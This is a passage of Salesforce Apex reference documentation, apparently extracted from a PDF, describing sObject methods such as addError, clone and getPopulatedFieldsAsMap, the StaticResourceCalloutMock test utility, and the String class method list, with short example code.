Sets the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber and returns the previous value for the field.
putSObject(fieldName, value)
Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns
the previous value of the field.
putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for
setting external IDs. The method returns the previous value of the field.
recalculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you
want to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as
needed.
setOptions(DMLOptions)
Sets the DMLOptions object for the sObject.

addError(errorMsg)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg)

Parameters
errorMsg

Type: String
The error message to mark the record with.

Return Value
Type: Void

2346

Reference

sObject Class

Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see
Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

Example
Trigger.new[0].addError('bad');

addError(errorMsg, escape)
Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML
operation from occurring.

Signature
public Void addError(String errorMsg, Boolean escape)

Parameters
errorMsg

Type: String
The error message to mark the record with.
escape

Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

Return Value
Type: Void

Example
Trigger.new[0].addError('Fix & resubmit', false);

2347

Reference

sObject Class

addError(exceptionError)
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
public Void addError(Exception exceptionError)

Parameters
exceptionError

Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.

Return Value
Type: Void

Usage
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before
delete triggers, the error message is displayed in the application interface.
See Triggers and Trigger Exceptions.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.
When used in Visualforce controllers, the generated message is added to the collection of errors for the page. For more information, see
Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

Example
public class MyException extends Exception {}
Trigger.new[0].addError(new myException('Invalid Id'));

addError(exceptionError, escape)
Marks a record with a custom exception error message, specifies whether or not the exception error message should be escaped, and
prevents any DML operation from occurring.

Signature
public Void addError(Exception exceptionError, Boolean escape)

Parameters
exceptionError

Type: System.Exception
An Exception object or a custom exception object that contains the error message to mark the record with.

2348

Reference

sObject Class

escape

Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

Return Value
Type: Void

Example
public class MyException extends Exception {}
Trigger.new[0].addError(new myException('Invalid Id & other issues', false));

addError(errorMsg)
Places the specified error message on the field in the Salesforce user interface and prevents any DML operation from occurring.

Signature
public Void addError(String errorMsg)

Parameters
errorMsg

Type: String

Return Value
Type: Void

Usage
Note:
When used on Trigger.new in before insert and before update triggers, and on Trigger.old in before
delete triggers, the error appears in the application interface.
When used in Visualforce controllers, if there is an inputField component bound to field, the message is attached to the
component. For more information, see Validation Rules and Standard Controllers in the Visualforce Developer's Guide.

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Reference

sObject Class

This method is highly specialized because the field identifier is not actually the invoking objectthe sObject record is the invoker.
The field is simply used to identify the field that should be used to display the error.
This method will likely change in future versions of Apex.
See Triggers and Trigger Exceptions.
Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &, ", \,
\u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the
Salesforce user interface.

Example
Trigger.new[0].myField__c.addError('bad');

addError(errorMsg, escape)
Places the specified error message, which can be escaped or unescaped, on the field in the Salesforce user interface, and prevents any
DML operation from occurring.

Signature
public Void addError(String errorMsg, Boolean escape)

Parameters
errorMsg

Type: String
The error message to mark the record with.
escape

Type: Boolean
Indicates whether any HTML markup in the custom error message should be escaped (true) or not (false).

Return Value
Type:

Example
Trigger.new[0].myField__c.addError('Fix & resubmit', false);

2350

Reference

sObject Class

clear()
Clears all field values

Signature
public Void clear()

Return Value
Type: Void

Example
Account acc = new account(Name = 'Acme');
acc.clear();
Account expected = new Account();
system.assertEquals(expected, acc);

clone(preserveId, isDeepClone, preserveReadonlyTimestamps, preserveAutonumber)

Creates a copy of the sObject record.

Signature
public sObject clone(Boolean preserveId, Boolean isDeepClone, Boolean
preserveReadonlyTimestamps, Boolean preserveAutonumber)

Parameters
preserveId

Type: Boolean
(Optional) Determines whether the ID of the original object is preserved or cleared in the duplicate. If set to true, the ID is copied
to the duplicate. The default is false, that is, the ID is cleared.
isDeepClone

Type: Boolean
(Optional) Determines whether the method creates a full copy of the sObject field or just a reference:
If set to true, the method creates a full copy of the sObject. All fields on the sObject are duplicated in memory, including
relationship fields. Consequently, if you make changes to a field on the cloned sObject, the original sObject is not affected.
If set to false, the method performs a shallow copy of the sObject fields. All copied relationship fields reference the original
sObjects. Consequently, if you make changes to a relationship field on the cloned sObject, the corresponding field on the original
sObject is also affected, and vice versa. The default is false.
preserveReadonlyTimestamps

Type: Boolean
(Optional) Determines whether the read-only timestamp fields are preserved or cleared in the duplicate. If set to true, the read-only
fields CreatedById, CreatedDate, LastModifiedById, and LastModifiedDate are copied to the duplicate.
The default is false, that is, the values are cleared.

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Reference

sObject Class

preserveAutonumber

Type: Boolean
(Optional) Determines whether auto number fields of the original object are preserved or cleared in the duplicate. If set to true,
auto number fields are copied to the cloned object. The default is false, that is, auto number fields are cleared.

Return Value
Type: sObject (of same type)

Usage
Note: For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the preserveId argument is true,
that is, the ID is preserved.

Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
Account clonedAcc = acc.clone(false, false, false, false);
System.assertEquals(acc, clonedAcc);

get(fieldName)
Returns the value for the field specified by fieldName, such as AccountNumber.

Signature
public Object get(String fieldName)

Parameters
fieldName

Type: String

Return Value
Type: Object

Usage
For more information, see Dynamic SOQL.

Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get('Description');
System.assertEquals('Acme Account', description);

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Reference

sObject Class

get(field)
Returns the value for the field specified by the field token Schema.sObjectField, such as,
Schema.Account.AccountNumber.

Signature
public Object get(Schema.sObjectField field)

Parameters
field

Type: Schema.SObjectField

Return Value
Type: Object

Usage
For more information, see Dynamic SOQL.
Note: Field tokens aren't available for person accounts. If you access Schema.Account.<fieldname>, you'll get an exception error.
Instead, specify the field name as a string.

Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
String description = (String)acc.get(Schema.Account.Description);
System.assertEquals('Acme Account', description);

getCloneSourceId()
Returns the ID of the entity from which an object was cloned. You can use it for objects cloned through the Salesforce user interface. If
you dont use a preserveId parameter, of if you use a preserveId value of false, you can also used it for objects created
using the System.SObject.clone(preserveId, isDeepClone, preserveReadonlyTimestamps,
preserveAutonumber) method.

Signature
public Id getCloneSourceId()

Return Value
Type: Id

Usage
If A is cloned to B, B is cloned to C, and C is cloned to D, then B, C, and D all point back to A as their clone source.

2353

Reference

sObject Class

Example
Account acc0 = new Account(Name = 'Acme');
insert acc0;
Account acc1 = acc0.clone();
Account acc2 = acc1.clone();
Account acc3 = acc2.clone();
Account acc4 = acc3.clone();
System.assert(acc0.Id != null);
System.assertEquals(acc0.Id, acc1.getCloneSourceId());
System.assertEquals(acc0.Id, acc2.getCloneSourceId());
System.assertEquals(acc0.Id, acc3.getCloneSourceId());
System.assertEquals(acc0.Id, acc4.getCloneSourceId());
System.assertEquals(null, acc0.getCloneSourceId());

getOptions()
Returns the database.DMLOptions object for the sObject.

Signature
public Database.DMLOptions getOptions()

Return Value
Type: Database.DMLOptions

Example
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);
Database.DMLOptions accDmo = acc.getOptions();

getPopulatedFieldsAsMap()
Returns a map of populated field names and their corresponding values. The map contains only the fields that have been populated in
memory for the SObject instance.

Signature
public Map<String,Object> getPopulatedFieldsAsMap()

Return Value
Type: Map<String,Object>
A map of field names and their corresponding values.

2354

Reference

sObject Class

Usage
The returned map contains only the fields that have been populated in memory for the SObject instance, which makes it easy to iterate
over those fields. A field is populated in memory in the following cases.
The field has been queried by a SOQL statement.
The field has been explicitly set before the call to the getPopulatedFieldsAsMap() method.
Fields on related objects that are queried or set are also returned in the map.
The following example iterates over the map returned by the getPopulatedFieldsAsMap() method after a SOQL query.
Account a = new Account();
a.name = 'TestMapAccount1';
insert a;
a = [select Id,Name from Account where id=:a.Id];
Map<String, Object> fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()){
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPkIAO
// DEBUG|field name is Name, value is TestMapAccount1

This example iterates over the map returned by the getPopulatedFieldsAsMap() method after fields on the SObject are
explicitly set.
Account a = new Account();
a.name = 'TestMapAccount2';
a.phone = '123-4567';
insert a;
Map<String, Object> fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()) {
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
//
//
//
//

Example debug statement output:

DEBUG|field name is Name, value is TestMapAccount2
DEBUG|field name is Phone, value is 123-4567
DEBUG|field name is Id, value is 001R0000003EPPpIAO

The following example shows how to use the getPopulatedFieldsAsMap() method with related objects.
Account a = new Account();
a.name='TestMapAccount3';
insert a;
Contact c = new Contact();
c.firstname='TestContactFirstName';
c.lastName ='TestContactLastName';
c.accountid = a.id;
insert c;

2355

Reference

sObject Class

c = [SELECT id, Contact.Firstname, Contact.Account.Name FROM Contact

where id=:c.id limit 1];
Map<String, Object> fieldsToValue = c.getPopulatedFieldsAsMap();
// To get the fields on Account, get the Account object
// and call getMapPopulatedFieldsAsMap() on that object.
a = (Account)fieldsToValue.get('Account');
fieldsToValue = a.getPopulatedFieldsAsMap();
for (String fieldName : fieldsToValue.keySet()) {
System.debug('field name is ' + fieldName + ', value is ' +
fieldsToValue.get(fieldName));
}
// Example debug statement output:
// DEBUG|field name is Id, value is 001R0000003EPPuIAO
// DEBUG|field name is Name, value is TestMapAccount3

getSObject(fieldName)
Returns the value for the specified field. This method is primarily used with dynamic DML to access values for external IDs.

Signature
public sObject getSObject(String fieldName)

Parameters
fieldName

Type: String

Return Value
Type: sObject

Example
Account acc = new account(Name = 'Acme', Description = 'Acme Account');
insert acc;
Contact con = new Contact(Lastname = 'AcmeCon', AccountId = acc.id);
insert con;
SObject contactDB =
[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.getSObject('Account');
System.assertEquals('Acme', a.name);

getSObject(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.MyObj.MyExternalId.
This method is primarily used with dynamic DML to access values for external IDs.

2356

Reference

sObject Class

Signature
public sObject getSObject(Schema.SObjectField fieldName)

Parameters
fieldName

Type: Schema.SObjectField

Return Value
Type: sObject

Example
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Schema.DescribeFieldResult fieldResult = Contact.AccountId.getDescribe();
Schema.SObjectfield field = fieldResult.getSobjectField();
SObject contactDB =
[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.getSObject(field);
System.assertEquals('Acme', a.name);

getSObjects(fieldName)
Returns the values for the specified field. This method is primarily used with dynamic DML to access values for associated objects, such
as child relationships.

Signature
public sObject[] getSObjects(String fieldName)

Parameters
fieldName

Type: String

Return Value
Type: sObject[]

Usage
For more information, see Dynamic DML.

2357

Reference

sObject Class

Example
Account acc = new account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
SObject[] a = [SELECT id, (SELECT Name FROM Contacts LIMIT 1) FROM Account WHERE id =
:acc.id];
SObject[] contactsDB = a.get(0).getSObjects('Contacts');
String fieldValue = (String)contactsDB.get(0).get('Name');
System.assertEquals('AcmeCon', fieldValue);

getSObjects(fieldName)
Returns the value for the field specified by the field token Schema.fieldName, such as, Schema.Account.Contact. This
method is primarily used with dynamic DML to access values for associated objects, such as child relationships.

Signature
public sObject[] getSObjects(Schema.SObjectType fieldName)

Parameters
fieldName

Type: Schema.SObjectType

Return Value
Type: sObject[]

getSObjectType()
Returns the token for this sObject. This method is primarily used with describe information.

Signature
public Schema.SObjectType getSObjectType()

Return Value
Type: Schema.SObjectType

Usage
For more information, see Understanding Apex Describe Information.

2358

Reference

sObject Class

Example
Account acc = new Account(name = 'Acme', description = 'Acme Account');
Schema.sObjectType expected = Schema.Account.getSObjectType();
System.assertEquals(expected, acc.getSobjectType());

getQuickActionName()
Retrieves the name of a quick action associated with this sObject. Typically used in triggers.

Signature
public String getQuickActionName()

Return Value
Type: String

Example
trigger accTrig2 on Contact (before insert) {
for (Contact c : Trigger.new) {
if (c.getQuickActionName() == QuickAction.CreateContact) {
c.WhereFrom__c = 'GlobaActionl';
} else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
c.WhereFrom__c = 'AccountAction';
} else if (c.getQuickActionName() == null) {
c.WhereFrom__c = 'NoAction';
} else {
System.assert(false);
}
}
}

isClone()
Returns true if an entity is cloned from something, even if the entity hasnt been saved.

Signature
public Boolean isClone()

Return Value
Type: Boolean

Example
Account acc = new Account(Name = 'Acme');
insert acc;
Account acc2 = acc.clone();

2359

Reference

sObject Class

// Test before saving

System.assertEquals(true, acc2.isClone());
insert acc2;
// Test after saving
System.assertEquals(true, acc2.isClone());

put(fieldName, value)
Sets the value for the specified field and returns the previous value for the field.

Signature
public Object put(String fieldName, Object value)

Parameters
fieldName

Type: String
value

Type: Object

Return Value
Type: Object

Example
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put('description', 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);

put(fieldName, value)
Sets the value for the field specified by the field token Schema.sObjectField, such as, Schema.Account.AccountNumber
and returns the previous value for the field.

Signature
public Object put(Schema.SObjectField fieldName, Object value)

Parameters
fieldName

Type: Schema.SObjectField
value

Type: Object

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Reference

sObject Class

Return Value
Type: Object

Example
Account acc = new Account(name = 'test', description = 'old desc');
String oldDesc = (String)acc.put(Schema.Account.Description, 'new desc');
System.assertEquals('old desc', oldDesc);
System.assertEquals('new desc', acc.description);

Note: Field tokens aren't available for person accounts. If you access Schema.Account.<fieldname>, you'll get an exception error.
Instead, specify the field name as a string.

putSObject(fieldName, value)
Sets the value for the specified field. This method is primarily used with dynamic DML for setting external IDs. The method returns the
previous value of the field.

Signature
public sObject putSObject(String fieldName, sObject value)

Parameters
fieldName

Type: String
value

Type: sObject

Return Value
Type: sObject

Example
Account acc = new Account(name = 'Acme', description = 'Acme Account');
insert acc;
Contact con = new contact(lastname = 'AcmeCon', accountid = acc.id);
insert con;
Account acc2 = new account(name = 'Not Acme');
Contact contactDB =
(Contact)[SELECT Id, AccountId, Account.Name FROM Contact WHERE id = :con.id LIMIT 1];
Account a = (Account)contactDB.putSObject('Account', acc2);
System.assertEquals('Acme', a.name);
System.assertEquals('Not Acme', contactDB.Account.name);

2361

Reference

sObject Class

putSObject(fieldName, value)
Sets the value for the field specified by the token Schema.sObjectType. This method is primarily used with dynamic DML for
setting external IDs. The method returns the previous value of the field.

Signature
public sObject putSObject(Schema.sObjectType fieldName, sObject value)

Parameters
fieldName

Type: Schema.SObjectType
value

Type: sObject

Return Value
Type: sObject

recalculateFormulas()
Recalculates all formula fields on an sObject, and sets updated field values. Rather than inserting or updating objects each time you want
to test changes to your formula logic, call this method and inspect your new field values. Then make further logic changes as needed.

Signature
public Void recalculateFormulas()

Return Value
Type: Void

Usage
This method doesnt recalculate cross-object formulas. If you call this method on objects that have both cross-object and non-cross-object
formula fields, only the non-cross-object formula fields are recalculated.
SEE ALSO:
What Are Cross-Object Formulas?

setOptions(DMLOptions)
Sets the DMLOptions object for the sObject.

Signature
public Void setOptions(database.DMLOptions DMLOptions)

2362

Reference

StaticResourceCalloutMock Class

Parameters
DMLOptions

Type: Database.DMLOptions

Return Value
Type: Void

Example
Database.DMLOptions dmo = new Database.dmlOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;
Account acc = new Account(Name = 'Acme');
acc.setOptions(dmo);

StaticResourceCalloutMock Class
Utility class used to specify a fake response for testing HTTP callouts.

Namespace
System

Usage
Use the methods in this class to set the response properties for testing HTTP callouts.
IN THIS SECTION:
StaticResourceCalloutMock Constructors
StaticResourceCalloutMock Methods

StaticResourceCalloutMock Constructors
The following are constructors for StaticResourceCalloutMock.
IN THIS SECTION:
StaticResourceCalloutMock()
Creates a new instance of the StaticResourceCalloutMock class.

StaticResourceCalloutMock()
Creates a new instance of the StaticResourceCalloutMock class.

Signature
public StaticResourceCalloutMock()

2363

Reference

StaticResourceCalloutMock Class

StaticResourceCalloutMock Methods
The following are methods for StaticResourceCalloutMock. All are instance methods.
IN THIS SECTION:
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
setStaticResource(resourceName)
Sets the specified static resource, which contains the response body.
setStatus(httpStatus)
Sets the specified HTTP status for the response.
setStatusCode(httpStatusCode)
Sets the specified HTTP status for the response.

setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.

Signature
public Void setHeader(String headerName, String headerValue)

Parameters
headerName

Type: String
headerValue

Type: String

Return Value
Type: Void

setStaticResource(resourceName)
Sets the specified static resource, which contains the response body.

Signature
public Void setStaticResource(String resourceName)

Parameters
resourceName

Type: String

2364

Reference

String Class

Return Value
Type: Void

setStatus(httpStatus)
Sets the specified HTTP status for the response.

Signature
public Void setStatus(String httpStatus)

Parameters
httpStatus

Type: String

Return Value
Type: Void

setStatusCode(httpStatusCode)
Sets the specified HTTP status for the response.

Signature
public Void setStatusCode(Integer httpStatusCode)

Parameters
httpStatusCode

Type: Integer

Return Value
Type: Void

String Class
Contains methods for the String primitive data type.

Namespace
System

Usage
For more information on Strings, see Primitive Data Types on page 27.

2365

Reference

String Class

String Methods
The following are methods for String.
IN THIS SECTION:
abbreviate(maxWidth)
Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than
the specified length; otherwise, returns the original String without ellipses.
abbreviate(maxWidth, offset)
Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String
has ellipses appended at the start and the end if characters have been removed at these locations.
capitalize()
Returns the current String with the first letter changed to title case.
center(size)
Returns a version of the current String of the specified size padded with spaces on the left and right, so that it appears in the center.
If the specified size is smaller than the current String size, the entire String is returned without added spaces.
center(size, paddingString)
Returns a version of the current String of the specified size padded with the specified String on the left and right, so that it appears
in the center. If the specified size is smaller than the current String size, the entire String is returned without padding.
charAt(index)
Returns the value of the character at the specified index.
codePointAt(index)
Returns the Unicode code point value at the specified index.
codePointBefore(index)
Returns the Unicode code point value that occurs before the specified index.
codePointCount(beginIndex, endIndex)
Returns the number of Unicode code points within the specified text range.
compareTo(secondString)
Compares two strings lexicographically, based on the Unicode value of each character in the Strings.
contains(substring)
Returns true if and only if the String that called the method contains the specified sequence of characters in substring.
containsAny(inputString)
Returns true if the current String contains any of the characters in the specified String; otherwise, returns false.
containsIgnoreCase(substring)
Returns true if the current String contains the specified sequence of characters without regard to case; otherwise, returns false.
containsNone(inputString)
Returns true if the current String doesnt contain any of the characters in the specified String; otherwise, returns false.
containsOnly(inputString)
Returns true if the current String contains characters only from the specified sequence of characters and not any other characters;
otherwise, returns false.
containsWhitespace()
Returns true if the current String contains any white space characters; otherwise, returns false.

2366

Reference

String Class

countMatches(substring)
Returns the number of times the specified substring occurs in the current String.
deleteWhitespace()
Returns a version of the current String with all white space characters removed.
difference(secondString)
Returns the difference between the current String and the specified String.
endsWith(suffix)
Returns true if the String that called the method ends with the specified suffix.
endsWithIgnoreCase(suffix)
Returns true if the current String ends with the specified suffix; otherwise, returns false.
equals(secondString)
Deprecated. This method is replaced by equals(stringOrId). Returns true if the passed-in string is not null and represents
the same binary sequence of characters as the current string. Use this method to perform case-sensitive comparisons.
equals(stringOrId)
Returns true if the passed-in object is not null and represents the same binary sequence of characters as the current string. Use
this method to compare a string to an object that represents a string or an ID.
equalsIgnoreCase(secondString)
Returns true if the secondString is not null and represents the same sequence of characters as the String that called the
method, ignoring case.
escapeCsv()
Returns a String for a CSV column enclosed in double quotes, if required.
escapeEcmaScript()
Escapes the characters in the String using EcmaScript String rules.
escapeHtml3()
Escapes the characters in a String using HTML 3.0 entities.
escapeHtml4()
Escapes the characters in a String using HTML 4.0 entities.
escapeJava()
Returns a String whose characters are escaped using Java String rules. Characters escaped include quotes and control characters,
such as tab, backslash, and carriage return characters.
escapeSingleQuotes(stringToEscape)
Returns a String with the escape character (\) added before any single quotation marks in the String s.
escapeUnicode()
Returns a String whose Unicode characters are escaped to a Unicode escape sequence.
escapeXml()
Escapes the characters in a String using XML entities.
format(stringToFormat, formattingArguments)
Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.
fromCharArray(charArray)
Returns a String from the values of the list of integers.

2367

Reference

String Class

getChars()
Returns an array of character values that represent the characters in this string.
getCommonPrefix(strings)
Returns the initial sequence of characters as a String that is common to all the specified Strings.
getLevenshteinDistance(stringToCompare)
Returns the Levenshtein distance between the current String and the specified String.
getLevenshteinDistance(stringToCompare, threshold)
Returns the Levenshtein distance between the current String and the specified String if it is less than or equal than the given threshold;
otherwise, returns -1.
hashCode()
Returns a hash code value for this string.
indexOf(substring)
Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1.
indexOf(substring, index)
Returns the zero-based index of the first occurrence of the specified substring from the point of the given index. If the substring
does not occur, this method returns -1.
indexOfAny(substring)
Returns the zero-based index of the first occurrence of any character specified in the substring. If none of the characters occur, returns
-1.
indexOfAnyBut(substring)
Returns the zero-based index of the first occurrence of a character that is not in the specified substring. Otherwise, returns -1.
indexOfChar(character)
Returns the index of the first occurrence of the character that corresponds to the specified character value.
indexOfChar(character, startIndex)
Returns the index of the first occurrence of the character that corresponds to the specified character value, starting from the specified
index.
indexOfDifference(stringToCompare)
Returns the zero-based index of the character where the current String begins to differ from the specified String.
indexOfIgnoreCase(substring)
Returns the zero-based index of the first occurrence of the specified substring without regard to case. If the substring does not occur,
this method returns -1.
indexOfIgnoreCase(substring, startPosition)
Returns the zero-based index of the first occurrence of the specified substring from the point of index i, without regard to case. If
the substring does not occur, this method returns -1.
isAllLowerCase()
Returns true if all characters in the current String are lowercase; otherwise, returns false.
isAllUpperCase()
Returns true if all characters in the current String are uppercase; otherwise, returns false.
isAlpha()
Returns true if all characters in the current String are Unicode letters only; otherwise, returns false.

2368

Reference

String Class

isAlphaSpace()
Returns true if all characters in the current String are Unicode letters or spaces only; otherwise, returns false.
isAlphanumeric()
Returns true if all characters in the current String are Unicode letters or numbers only; otherwise, returns false.
isAlphanumericSpace()
Returns true if all characters in the current String are Unicode letters, numbers, or spaces only; otherwise, returns false.
isAsciiPrintable()
Returns true if the current String contains only ASCII printable characters; otherwise, returns false.
isBlank(inputString)
Returns true if the specified String is white space, empty (''), or null; otherwise, returns false.
isEmpty(inputString)
Returns true if the specified String is empty ('') or null; otherwise, returns false.
isNotBlank(inputString)
Returns true if the specified String is not whitespace, not empty (''), and not null; otherwise, returns false.
isNotEmpty(inputString)
Returns true if the specified String is not empty ('') and not null; otherwise, returns false.
isNumeric()
Returns true if the current String contains only Unicode digits; otherwise, returns false.
isNumericSpace()
Returns true if the current String contains only Unicode digits or spaces; otherwise, returns false.
isWhitespace()
Returns true if the current String contains only white space characters or is empty; otherwise, returns false.
join(iterableObj, separator)
Joins the elements of the specified iterable object, such as a List, into a single String separated by the specified separator.
lastIndexOf(substring)
Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1.
lastIndexOf(substring, endPosition)
Returns the index of the last occurrence of the specified substring, starting from the character at index 0 and ending at the specified
index.
indexOfChar(character)
Returns the index of the last occurrence of the character that corresponds to the specified character value.
lastIndexOfChar(character, endIndex)
Returns the index of the last occurrence of the character that corresponds to the specified character value, starting from the specified
index.
lastIndexOfIgnoreCase(substring)
Returns the index of the last occurrence of the specified substring regardless of case.
lastIndexOfIgnoreCase(substring, endPosition)
Returns the index of the last occurrence of the specified substring regardless of case, starting from the character at index 0 and
ending at the specified index.
left(length)
Returns the leftmost characters of the current String of the specified length.

2369

Reference

String Class

leftPad(length)
Returns the current String padded with spaces on the left and of the specified length.
length()
Returns the number of 16-bit Unicode characters contained in the String.
mid(startIndex, length)
Returns a new String that begins with the character at the specified zero-based startIndex with the number of characters
specified by length.
normalizeSpace()
Returns the current String with leading, trailing, and repeating white space characters removed.
offsetByCodePoints(index, codePointOffset)
Returns the index of the Unicode code point that is offset by the specified number of code points, starting from the given index.
remove(substring)
Removes all occurrences of the specified substring and returns the String result.
removeEnd(substring)
Removes the specified substring only if it occurs at the end of the String.
removeEndIgnoreCase(substring)
Removes the specified substring only if it occurs at the end of the String using a case-insensitive match.
removeStart(substring)
Removes the specified substring only if it occurs at the beginning of the String.
removeStartIgnoreCase(substring)
Removes the specified substring only if it occurs at the beginning of the String using a case-insensitive match.
repeat(numberOfTimes)
Returns the current String repeated the specified number of times.
repeat(separator, numberOfTimes)
Returns the current String repeated the specified number of times using the specified separator to separate the repeated Strings.
replace(target, replacement)
Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence
replacement.
replaceAll(regExp, replacement)
Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement.
replaceFirst(regExp, replacement)
Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement.
reverse()
Returns a String with all the characters reversed.
right(length)
Returns the rightmost characters of the current String of the specified length.
rightPad(length)
Returns the current String padded with spaces on the right and of the specified length.
split(regExp)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of
the String.

2370

Reference

String Class

split(regExp, limit)
Returns a list that contains each substring of the String that is terminated by either the regular expression regExp or the end of
the String.
splitByCharacterType()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens.
splitByCharacterTypeCamelCase()
Splits the current String by character type and returns a list of contiguous character groups of the same type as complete tokens,
with the following exception: the uppercase character, if any, immediately preceding a lowercase character token belongs to the
following character token rather than to the preceding.
startsWith(prefix)
Returns true if the String that called the method begins with the specified prefix.
startsWithIgnoreCase(prefix)
Returns true if the current String begins with the specified prefix regardless of the prefix case.
stripHtmlTags(htmlInput)
Removes HTML markup from the input string and returns the plain text.
substring(startIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the end of the String.
substring(startIndex, endIndex)
Returns a new String that begins with the character at the specified zero-based startIndex and extends to the character at
endIndex - 1.
substringAfter(separator)
Returns the substring that occurs after the first occurrence of the specified separator.
substringAfterLast(separator)
Returns the substring that occurs after the last occurrence of the specified separator.
substringBefore(separator)
Returns the substring that occurs before the first occurrence of the specified separator.
substringBeforeLast(separator)
Returns the substring that occurs before the last occurrence of the specified separator.
substringBetween(tag)
Returns the substring that occurs between two instances of the specified tag String.
substringBetween(open, close)
Returns the substring that occurs between the two specified Strings.
swapCase()
Swaps the case of all characters and returns the resulting String by using the default (English US) locale.
toLowerCase()
Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.
toLowerCase(locale)
Converts all of the characters in the String to lowercase using the rules of the specified locale.
toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.

2371

Reference

String Class

toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.
trim()
Returns a copy of the string that no longer contains any leading or trailing white space characters.
uncapitalize()
Returns the current String with the first letter in lowercase.
unescapeCsv()
Returns a String representing an unescaped CSV column.
unescapeEcmaScript()
Unescapes any EcmaScript literals found in the String.
unescapeHtml3()
Unescapes the characters in a String using HTML 3.0 entities.
unescapeHtml4()
Unescapes the characters in a String using HTML 4.0 entities.
unescapeJava()
Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\\") and control characters,
such as tab (\\t), and carriage return (\\n).
unescapeUnicode()
Returns a String whose escaped Unicode characters are unescaped.
unescapeXml()
Unescapes the characters in a String using XML entities.
valueOf(dateToConvert)
Returns a String that represents the specified Date in the standard yyyy-MM-dd format.
valueOf(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the local time zone.
valueOf(decimalToConvert)
Returns a String that represents the specified Decimal.
valueOf(doubleToConvert)
Returns a String that represents the specified Double.
valueOf(integerToConvert)
Returns a String that represents the specified Integer.
valueOf(longToConvert)
Returns a String that represents the specified Long.
valueOf(toConvert)
Returns a string representation of the specified object argument.
valueOfGmt(datetimeToConvert)
Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the GMT time zone.

2372

Reference

String Class

abbreviate(maxWidth)
Returns an abbreviated version of the String, of the specified length and with ellipses appended if the current String is longer than the
specified length; otherwise, returns the original String without ellipses.

Signature
public String abbreviate(Integer maxWidth)

Parameters
maxWidth

Type: Integer
If maxWidth is less than four, this method throws a run-time exception.

Return Value
Type: String

Example
String s = 'Hello Maximillian';
String s2 = s.abbreviate(8);
System.assertEquals('Hello...', s2);
System.assertEquals(8, s2.length());

abbreviate(maxWidth, offset)
Returns an abbreviated version of the String, starting at the specified character offset and of the specified length. The returned String
has ellipses appended at the start and the end if characters have been removed at these locations.

Signature
public String abbreviate(Integer maxWidth, Integer offset)

Parameters
maxWidth

Type: Integer
